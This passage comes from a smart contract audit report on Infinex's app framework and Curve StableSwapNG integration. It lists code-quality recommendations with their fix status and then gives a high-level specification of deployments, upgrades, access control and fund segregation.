<td>2</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/accounts/modules/BaseModule.sol#L273">Base<wbr>Module<wbr>.sol<wbr>#L273</a></td>
<td>To reduce the code size of the <code>reinitialize</code> function and prevent code bloat over time, the <code>AccountMigratedFrom</code> event should be emitted after the <code>if</code> code block.</td>
</tr>
<tr>
<td>3</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/main/src/apps/curve/CurveStableSwapApp.sol">Curve<wbr>Stable<wbr>Swap<wbr>App<wbr>.sol</a></td>
<td>Some functions use token addresses while others use token indices. A more intuitive interface would only rely on token addresses.</td>
</tr>
<tr>
<td>4</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/d053da581f8ae4365c40f1b69fa1209e1d7c55b9/src/apps/curve/CurveStableSwapApp.sol#L60">Curve<wbr>Stable<wbr>Swap<wbr>App<wbr>.sol<wbr>#L60</a></td>
<td><code>CurveStableSwapApp::exchange()</code> performs an unnecessary and circular resolution of <code>fromTokenIndex</code></td>
</tr>
<tr>
<td>5</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/main/src/apps/curve/CurveStableSwapApp.sol#L230">Curve<wbr>Stable<wbr>Swap<wbr>App<wbr>.sol<wbr>#L230</a></td>
<td>To avoid unnecessary cross contract calls, the <code>_validatePoolAddress</code> internal function should accept <code>ICurveStableSwapFactoryNG</code> as an argument. Alternatively, an overloaded version of<code>_validatePoolAddress</code> could be introduced.</td>
</tr>
<tr>
<td>6</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/interfaces/curve/ICurveStableSwapApp.sol#L30">ICurve<wbr>Stable<wbr>Swap<wbr>App<wbr>.sol<wbr>#L30</a></td>
<td>The <code>TokensExchanged</code> event could emit the <code>fromToken</code> and <code>toToken</code> addresses instead of their indices.</td>
</tr>
<tr>
<td>7</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/a9d86eef3fd10454ae3b91ecbe197154df70ad78/src/interfaces/curve/ICurveStableSwapFactoryNG.sol#L139">ICurve<wbr>Stable<wbr>Swap<wbr>Factory<wbr>NG<wbr>.sol<wbr>#L139</a></td>
<td>Some functions in the <code>ICurveStableSwapFactoryNG</code> and <code>ICurveStableSwapNG</code> interfaces are not marked as <code>view</code> despite their implementations' published ABIs specifying their <code>stateMutability</code> as <code>view</code>.</td>
</tr>
<tr>
<td>8</td>
<td><a href="https://github.com/infinex-xyz/infinex-contracts/blob/main/src/apps/curve/CurveStableSwapApp.sol#L137">CurveStableSwapApp.sol#L137</a></td>
<td>The <code>USDC</code> and <code>CurveStableSwapFactoryNG</code> addresses can be set as<code>immutable</code> in the <code>CurveStableSwapApp</code> in lieu of performing cross-contract reads to the <code>CurveStableSwapAppBeacon</code>. This will require passing the address of <code>USDC</code> and <code>CurveStableSwapFactoryNG</code> to the constructor for the <code>CurveStableSwapApp</code> implementation contract.</td>
</tr>
</tbody>
</table>
<ol>
<li>Won't fix.</li>
<li>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/4801a7dafb58254ec4911f51ac53b299c956045d">4801a7d</a>.</li>
<li>Won't fix.</li>
<li>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/46de1538e29e559f4cbeb13c822e657e05bd7450">46de153</a>.</li>
<li>Wont'fix.</li>
<li>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/46de1538e29e559f4cbeb13c822e657e05bd7450">46de153</a>.</li>
<li>Fixed in <a href="https://github.com/infinex-xyz/infinex-contracts/commit/d053da581f8ae4365c40f1b69fa1209e1d7c55b9">d053da5</a>.</li>
<li>Won't fix</li>
</ol>
<h1 id="specification">Specification</h1>
<p>The following section outlines the system's intended functionality at a high level, based on its implementation in the codebase. Any perceived points of conflict should be highlighted with the auditing team to determine the source of the discrepancy.</p>
<h2 id="app-framework">App framework</h2>
<p>A set of base contracts were developed to facilitate the development of Apps. These base contracts defined the upgrade patterns, recovery mechanisms and access control logic.</p>
<h3 id="deployments">Deployments</h3>
<p>A new <code>AppAccountModule</code> was added to the Smart Account, which allows users to deploy and activate an App for their account. The module leverages the <code>AppRegistry</code> to deploy a new upgradeable UUPS proxy and initializes it with the App's implementation.</p>
<p>Only Apps that have been authorized by Infinex can be deployed. The list of authorized Apps is kept in the <code>AppRegistry</code>, which also enforces sanity checks during deployments to ensure that the latest implementation conforms to the base App specification.</p>
<h3 id="upgrades">Upgrades</h3>
<p>Infinex's security model of requiring users to opt into any upgrades was extended to include Apps. App upgrades can only be performed via a user's Smart Account. It is only possible to upgrade to the latest version of an app. If the App beacon is out-of-date, the App's beacon will be set to its latest version in addition to upgrading the App's implementation.</p>
<h3 id="access-control">Access control</h3>
<p>The base App contracts provide the same access modifiers as the Smart Account; however, the smart account performs all key and role validation. This ensures that the App's access controls are in lock-step with the Smart Account, preventing stale credentials.</p>
<p>It is important to note that actions are performed directly against an App and not proxied through a Smart Account.</p>
<hr/>
<h3 id="segregation-of-funds">Segregation of funds</h3>
<p>Introducing Apps allows Infinex to limit the funds at risk when adding integrations to the ecosystem. For this reason, each App is deployed as a new smart contract.</p>
<p>Functions to transfer funds and other tokens between the Smart Account and associated App instances were added. The transfer functions only allow the movement of assets between a user's App deployments and their Smart Account.</p>
<p>Corresponding recovery functions were added to the <code>AppAccountBase</code> implementation to allow users to recover their funds to their Smart Account.</p>
<h2 id="curve-stableswapng">Curve StableSwapNG</h2>
<p>The <code>CurveStableSwapApp</code> enables users to exchange tokens and provide liquidity to Curve's Stable Swap NG pools, supporting only those pools deployed via the Curve Stable Swap NG Factory. To do this securely, the pool must be enabled by the owner of the App Beacon. The App does not support exchanges using the underlying assets of a Metapool; it only supports Plain Pools' functionality. Additionally, the <code>CurveStableSwapApp</code> includes recovery mechanisms to facilitate the withdrawal of funds as USDC.</p>
</article>
</main>
</div>

Secure your system.
Request a service
Start Now